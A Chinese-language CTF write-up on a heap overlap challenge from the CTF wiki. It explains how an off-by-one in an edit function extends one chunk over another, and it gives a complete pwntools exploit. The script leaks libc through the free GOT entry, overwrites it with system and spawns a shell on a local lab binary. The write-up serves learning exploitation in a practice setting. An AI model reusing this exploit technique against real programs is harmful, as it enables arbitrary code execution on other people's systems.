记录一道wiki学习overlap的题目
前言
通过overlap可以造成堆的重叠,进而通过堆的修改、访问等操作,劫持或泄露另一个堆的信息,如果堆上存在指针,而存在对指针的读写,就可以控制修改该指针,进行任意地址读/写。
一、题目
二、思路
存在show和edit功能,且结构体上含有字符串指针,edit中存在off-by-one漏洞可造成overlap。正如我们所说的,可以造成任意地址读写。这里通过任意地址读来泄露libc地址,通过任意地址写来劫持free的got表为system。具体看exp,深夜,累了。
三、exp
from pwn import *
context(arch='amd64',log_level='debug')
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def create(size_heap,content):
io.sendlineafter(b'Your choice :',b'1')
io.sendlineafter(b'Size of Heap : ',str(size_heap).encode())
io.sendlineafter(b'Content of heap:',content)
io.recvuntil(b'SuccessFul')
def edit(index,content):
io.sendlineafter(b'Your choice :',b'2')
io.sendlineafter(b'Index :',str(index).encode())
io.recvuntil(b'Content of heap : ')
io.sendline(content)
def show(index):
io.sendlineafter(b'Your choice :',b'3')
io.sendlineafter(b'Index :',str(index).encode())
io.recvuntil(b'Size : ')
size=io.recvuntil(b'\n',drop=True)
io.recvuntil(b'Content : ')
content=io.recvuntil(b'\n',drop=True)
return size,content
def delete(index):
io.sendlineafter(b'Your choice :',b'4')
io.sendlineafter(b'Index :',str(index).encode())
# 思路:libc通过指针show可以打印
# 通过extend将一个chunk包含在另一个chunk的conten域中
# 修改chunk的content指针指向free_got,且修改chunk头为'/bin/sh'
# 修改free_got的内容为system
# gdb.attach(io)
create(0x38,b'to write bin_sh and off_by_one')
#之所以是0x_8的大小,是为了造成临近堆的prev_size域复用,堆1末与堆2size域相邻,为1字节的溢出作准备
create(0x10,b'tobeoff_by_one')
edit(0,b'/bin/sh\x00'+0x30*b'a'+b'\x41')
delete(1)
create(0x30,b'a'*0x20+p64(0x30)+p64(elf.got['free']))
sz,free_addr=show(1)
free_addr=u64(free_addr.ljust(8,b'\x00'))
success(hex(free_addr))
libc_base=free_addr-libc.sym['free']
system=libc_base+libc.sym['system']
edit(1,p64(system))
delete(0)
io.interactive()